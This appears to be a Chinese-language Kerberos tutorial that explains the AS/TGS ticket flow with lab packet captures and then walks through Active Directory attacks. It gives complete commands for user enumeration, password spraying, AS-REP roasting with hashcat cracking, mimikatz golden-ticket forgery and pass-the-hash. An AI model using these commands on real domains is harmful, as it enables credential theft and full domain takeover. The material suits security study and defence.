Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客 户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求 网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
Kerberos的标志是三只狗头,狗头分别代表以下角色:
kerberos使用了一个包含客户端、应用服务器和一个kerbroes服务器的协议,这个协议的设计就是对抗客户端/服务器对话安全的多种威胁。在一个不受保护的网络中,任何一个客户端可以使用任意一台服务器提供的服务。很明显的安全威胁就是伪装,对方可以扮演另一个客户端并在服务器上获取没有经过验证的权限!所以服务器必须能确认请求服务的客户端的身份进行验证。为了避免给服务器更多的访问压力和每次和客户端交互的风险,使用认证服务器(AS),它存储了所有用户的口令并集中在一个数据库中,然后用户就可以登陆AS进行验证身份,如果验证通过的话它就可以把信息传达到一个应用服务器。
Kerberos协议有两个基础认证模块:AS_REQ & AS_REP 和 TGS_REQ & TGS_REP ,以及微软扩展的两个认证模块S4U 和 PAC 。
名词基本概念:
其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。
这里参考一下云影实验室在安全客发表的文章 《Kerberos协议探索系列之扫描与爆破篇》中,将kerberos流量很形象解释。
如果把Kerberos中的票据类比为一张火车票,那么Client端就是乘客,Server端就是火车,而KDC就是就是车站的认证系统。如果Client端的票据是合法的(由你本人身份证购买并由你本人持有)同时有访问Server端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不一样的是Kerberos中有存在两张票,而火车票从头到尾只有一张。 由上图中可以看到KDC又分为两个部分:
Authentication Server:AS的作用就是验证Client端的身份(确定你是身份证上的本人),验证通过就会给一张TGT(Ticket Granting Ticket)票给Client。 Ticket Granting Server:TGS的作用是通过AS发送给Client的票(TGT)换取访问Server端的票(上车的票ST)。ST(Service Ticket)也有资料称为TGS Ticket,为了和TGS区分,在这里就用ST来说明。
域认证流程:
第一步首先用户登陆到一个工作站并请求访问一个特定的服务器,客户端把一个包含用户ID和被称为TGT(Ticket-Granting Ticket,票据授予票据,也可也称为入场券)请求的消息发送到AS。其中,TGT的到期时间为8小时,如果超过了8小时,还需要重新申请TGT,不能直接进入下一步获取Ticket;AS在它的数据库中查找用户的口令,然后AS回复一个TGT和一个称为会话密钥的一次性加密密 钥(可以称之为Session Key)给客户端。这两个加密都是使用用户口令作为加密密钥。然后发送给客户端,这个时候会提示客户端输入口令,产生密钥,并且解开发来的信息,如果提供了正确的口令,票据(ticket)和会话密钥就会被恢复。票据组成了一个客户端用来请求服务的信任证书的集合,票据显示AS已经接收了这个客户端和用户。票据包含了用户ID、一个时间戳、票据的失效时间。整个票据使用AS和服务器共享的DES密钥加密。这个时候客户端会向AS发送TGT和解密的Session Key。
下图借用倾旋大佬博客彻底理解Windows认证中的图,这图实在是太棒了。
数据结构图:
第二步这个时候Kerberos与客户端已经建立起来了,客户端需要提供TGT与第一步中使用自己NTLM Hash解密出来的Session Key加密的客户端信息跟时间戳;如果假设这个数据被中间人窃取到,也无法在段时间内破解,因为KDC会校验时间戳。KDC接到TGT与其他内容后,会首先解密TGT,只有KDC可以解密TGT,从TGT中提取到Session Key,再使用Session Key解密其他内容,解密出来的内容同TGT中的信息进行校验来确认客户端是否受信;验证通过后,就会生成一个新的Session Key,我们称之为Server Session Key,这个Server Session Key主要用于和服务器进行通信。同时还会生成一个Ticket,也就是最后的票据了。
第三步里,客户端向服务器请求,需要提供Ticket,Server Session Key加密的客户端信息与时间戳。
这里获取一些kerberos的数据包,这里我的环境如下
这里我是在域控抓包,然后域成员user0x1登录到DM机器。
首先客户端肯定是需要先获取到TGT认证的票据的。TGT是KDC中的AS认证服务器来进行发放的。这一步的请求是AS-REQ和AS-REP
一开始客户端发起请求,用户输入用户名和密码,通过Kerberos协议向KDC的AS认证服务发送了第一个请求,也就是AS-REQ认证请求。里面会包含有用户名、客户端的主机名、加密类型等。这里查看一下数据包。
req-body里面有包含有一些特别的数据,包含了一些客户端的信息。这里选择一些重要的来解释。里面Padding就是填充值,kdc-options就是和KDC的一些选项设置
addresses:就是客户端的地址,后面的值是DM也就是客户端的机器名
当KDC收到了客户端发来的信息之后,通过活动目录查询到这个用户的Hash(域内用户的hash都是保存在域控的)。利用这个用户的hash对请求包进行解密,成功的话表示请求者的密码是正确的,并且我们知道这一步KDC是会验证时间戳的,防止数据被中间人窃取,防止在破解到数据。通过验证之后krbtgt的NTLM Hash加密这个TGT和用户NTLM Hash。该Login Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证、加密的Lgoin Session Key、时间戳 和 PAC等信息会发送给客户端。PAC中包含用户的SID,用户所在的组等一些信息。
凭据里面最核心的东西是session-key和加密的ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rubeus生成的凭据是以.kirbi后缀的。impacket 生成的凭据的后缀是.ccache。两种票据主要包含的都是session-key和加密的ticket,因此可以相互转化。
在上面的时候有提到用户名枚举的问题,这就是因为当用户名错误的时候和密码错误的时候返回的信息不一样。这里我使用的是daiker大佬写的一个kerberos测试工具,可以用来发kerberos数据包。 下面这图是用户名正确,但是密码错误的情况返回回来的error-code。
下图是用户名错误,但是密码正确的情况返回回来的error-code
用户枚举的工具很多,这里有一个域用户枚举工具kerbrute不错,exe二进制版本的,上传即可使用。
kerbrute_windows_amd64.exe userenum --dc 10.10.12.77 -d xxxx.com u.txt
python脚本pyKerbrute,这个脚本需要python环境,但是用起来感觉不kerbrute快。而且准确率也不错。
密码喷洒,是用固定的密码去跑用户名,下面是使用powershell的脚本来进行密码喷洒
Invoke-DomainPasswordSpray -Userlist user.txt -Domain domain -password Admin12345
二进制工具kerbrute
kerbrute_windows_amd64.exe passwordspray -d domain user.txt DomainUser123!
更多的利用手法可以看3gstudent师傅的文章
https://www.4hou.com/posts/N5om
对于域用户,如果设置了选项”Do not require Kerberos preauthentication”,此时向域控制器的88端口发送AS_REQ请求,对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令。通常这个设置默认不开启的。
通过Rubeus可以获取到Hash。
Rubeus.exe asreproast
或者使用powershell版本的工具也是可以的,效果差不多
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName user -Domain one.com | Out-File -Encoding ASCII hash.txt
获取到了hash之后保存AS-REP hash后面的值,最终我们需要爆破的hash格式如下,Rubeus获取的hash值在krb5asrep后面在添加23即可
$krb5asrep$23$userName@domain:repHash
接着使用hashcat来进行离线的暴力破解。
.\hashcat.exe -m 18200 '$krb5asrep$23$user0x1@one.com:(hash部分)' .\pass.txt
黄金票据是当获取到了krbtgt的hash,在AS_REP里面的ticket的encpart是使用krbtgt的hash进行加密的。当我们获取域控的访问权限,并且有权限导出krbtgt用户的hash之后就可以伪造到任意用户的TGT票据了,这样我们就可以访问到任意用户。
privilege::debug #提权
kerberos::golden /admin:Administrator /domain:eve.com /sid:S-1-5-21-3445932950-957411282-1849150570 /krbtgt:5aa5abf5f2c23b385cf613c8ee83fc02 /ticket:ticket.kiribi
# kerberos::golden /admin:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt
或者也可以使用krbtgt的AES-256
privilege::debug #提权
kerberos::golden /admin:administrator /domain:eve.com /sid:S-1-5-21-3445932950-957411282-1849150570 /aes256:d3d5e4c1cb01d141e9b65917b4948e050eb08793d4b68c617c89f70f6649550a /ticket:ticket.kiribi
使用krbtgt的哈希导出票据
命令执行之后提示保存成功,此时会在本地目录下生成一个票据,接下来将票据注入到内存
kerberos::ptt ticket.kiribi
在mimikatz中输入如下命令,查看刚刚注入的票据
kerberos::tgt
然后在我们域成员主机上的CMD窗口可以查看到该票据
也可以在mimikatz中查看该票据
#以下两个命令均可以看到当前会话中的票据
kerberos::list
kerberos::tgt
这个时候我们已经有了高权限的票据并且导入进了内存。在命令行下访问dc的C盘,访问成功
由于AS-REQ中使用的是用户hash来进行加密时间戳,不需要明文,也可以使用AES加密的密文来进行PTH
privilege::debug
sekurlsa::pth /user:user0x1 /domain:one.com /ntlm:6542d35ed5ff6ae5...
privilege::debug
sekurlsa::ekeys #获取kerberos加密凭证
sekurlsa::pth /user:user0x1 /domain:one.com /aes256:f74b379b5b422819db6...